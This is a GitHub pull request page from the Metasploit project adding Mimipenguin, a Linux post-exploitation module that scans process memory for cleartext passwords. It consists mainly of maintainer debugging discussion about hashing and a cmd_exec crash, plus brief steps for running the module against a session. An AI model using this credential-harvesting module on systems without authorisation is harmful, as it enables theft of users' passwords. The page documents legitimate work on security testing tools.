Add Mimipenguin #16688
Merged
Add Mimipenguin #16688
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bcoles
reviewed
Jun 18, 2022
| pass_type = pass_info['type'] | ||
| case pass_type | ||
| when 'md5' | ||
| hashed = UnixCrypt::MD5.build(str, salt) |
There was a problem hiding this comment.
UnixCrypt hashing is performed on the Metasploit side, which may not be running on Linux. I'm not sure if it is relevant to this PR, but last time I attempted this (#10224) there were issues with OS-dependent crypt implementations. See: #10224 (comment)
I worked around this by performing hashing on the target host. This also had the added benefit of removing the requirement to send huge amounts of process memory data back to Metaspoit for processing. However, the implementation was unclean.
There was a problem hiding this comment.
I was originally using crypt() and ran into this problem as well. UnixCrypt was suggested as a replacement and has worked for everything except for yescrypt ( lacking support ). Might have to attempt testing unsupported hashes on the target though, thanks.
lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: bcoles <bcoles@gmail.com>
Co-authored-by: bcoles <bcoles@gmail.com>
Co-authored-by: bcoles <bcoles@gmail.com>
Co-authored-by: bcoles <bcoles@gmail.com>
Co-authored-by: bcoles <bcoles@gmail.com>
Co-authored-by: bcoles <bcoles@gmail.com>
includes using python on target for yescrypt support, not failing on unsupported hash types, documentation updates, etc
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
…em/memory.rb Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
|
I'm having some trouble pulling creds on Ubuntu VMs..... All these were logged into recently and one is running openssh-server with an active connection. Am I missing something? I'd expected the gnome-keyring-daemon to be vulnerable. Is there a setting I need to adjust? |
|
The hash types weren't being matched properly, so I think that's why you weren't getting any results. Sorry about that! Submitted a fix and ran some tests: Ubuntu 18.04.1Ubuntu 16.04.1 x64 |
|
Ohhh..... I have managed to get a reproducible crash across 2 systems. It is a little early, but both systems are running XFCE as the graphical environment, and both fail the same way: It looks like the cmd_exec call is crashing, and not coming back, but the session remains. I can run anything that has a direct link to the system calls, but nothing that needs the execute command? The two systems I've seen this on are: mirror.us.leaseweb.netmirror.us.leaseweb.net |
|
I was able to reproduce the crash on a Xubuntu 22.04 vm via the module, and I can get a crash on both Xubuntu and Ubuntu 18.04 via a test module. When testing Mimipenguin, Xubuntu specifically is pulling more results from memory versus other versions of Linux, thus requiring more Test outputDiff of changes to cmd_exec test moduleIt looks to me that there is a hard limit on how many commands we can run. Any ideas for a potential workaround? I've added a small bit of code to the Mimipenguin module that filters out results that are most likely library paths. |
|
I was digging into this this morning and was hoping to bring it up during module hacking. That there's a hard limit to the number of times we can call cmd_exec smells like a channel or process counter that's limited. I'm curious if anyone knows the likely location of such a thing. |
|
Edit: I'm not seeing this be an issue on Windows Meterpreter. I'm guessing this might live in the Mettle code. I guess a quick test would be to run the modified cmd_exec tests on a windows meterpreter host; it might tell us if the limit is framework-based or payload-based.... |
|
I'm not seeing anything useful in the debug on the target side: On the framework side with the TLV output, I'm seeing a boatload of close channel requests, often for the same channels over and over again. I'm not sure if this is an indication that the channels are never closed, or if they're reopened immediately.... |
|
I haven't looked into the specific bug/logging scenario here; but thought it was worth noting that I ran into a similar logging output as part of an unrelated bug, it turns out that unhandled tlv packets are continuously logged to msfconsole - as it's waiting for a handler to come along eventually and do something with the TLV packet. So the continual logging may or may not be your actual issue 😄 |
|
@adfoster-r7 Oh; I see. Yeah. I popped open the definitive source of truth known as wireshark, and I'm seeing a never-ending channel close request in logs, but I am not seeing associated packets on the wire. |
|
OK..... problem located. The mad rush of |
It doesn't look like this PR creates threads, it looks quite synchronous to me at the surface value - but I haven't looked further so let me know if I'm missing something there 👀 I believe the issue is caused by file descriptors being leaked and not closed correctly as part of cmd_exec - similar to rapid7/metasploit-payloads#569 |
|
Yup; the module is implemented synchronously, but the underlying implementation of mettle requests and channelized IO is threaded- while we wait for the output, the cleanup can/is asynchronous threads (At least we have mutexes protecting channelized IO close logic). Edit and thought: Though, that would not solve the echo issue.... |
|
I wasn't sure which thread/issue is the main one to reply to, but I posted my latest debug steps on #16966 (comment) - just let me know where's best to continue the discussion if that's wrong the place to thread the conversation 🎉 |
|
Yeah; I think we're maybe looking at two things right now. I do think we have a possible fd leak in the mettle code for this PR functionality, and another leak in mettle's process creation in general. :limes: |
|
I managed to get a Kali ARM vm running and tested it with the module. It doesn't appear that Kali caches passwords in memory, but I added AARCH64 support to the module in case other distros cache passwords. |
Release NotesThis adds a port of Mimipenguin to Metasploit. Relying on mem_search() and mem_read() (rapid7/mettle#232), this searches the memory regions of various processes for needles that are found near passwords in cleartext. Using the locations for all of the needles found, this will search the nearby regions for possible passwords. |
|
I want to thank you both heavily for your continued contributions to the modern version of MimiPenguin. Seeing it finally make it into Metasploit is heartwarming and a testament to the opensource community. I have been away from this project for some time now - focusing mainly on my professional career. So it means a lot to see such contributions to the project. Without you two I'm not sure a proper MimiPenguin module ever would have come to fruition in any meaningful timeline. Please don't hesitate to reach out to me on twitter. I owe you both a beer. |
Thank you so much, @huntergregal! |
16 tasks
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Description
This adds a port of Mimipenguin to Metasploit. Relying on
mem_search()andmem_read()(rapid7/mettle#232), this searches the memory regions of various processes for needles that are found near passwords in cleartext. Using the locations for all of the needles found, this will search the nearby regions for possible passwords.Verification
use post/linux/gather/mimipenguinset session <sess_no>runScenarios
Notes
yescryptas the default hashing algorithm, which I haven't found support for in the gems that we use. Because of this, the module fails although it might still find the password in memorygnome-keyring-daemon, logging in through the GUI is required. Forvsftpd, an active / logged in FTP session is required.sshisn't very consistent, but it requires an active ssh session that has elevated privileges usingsudo. I haven't been able to figure out what's needed beyond that yet.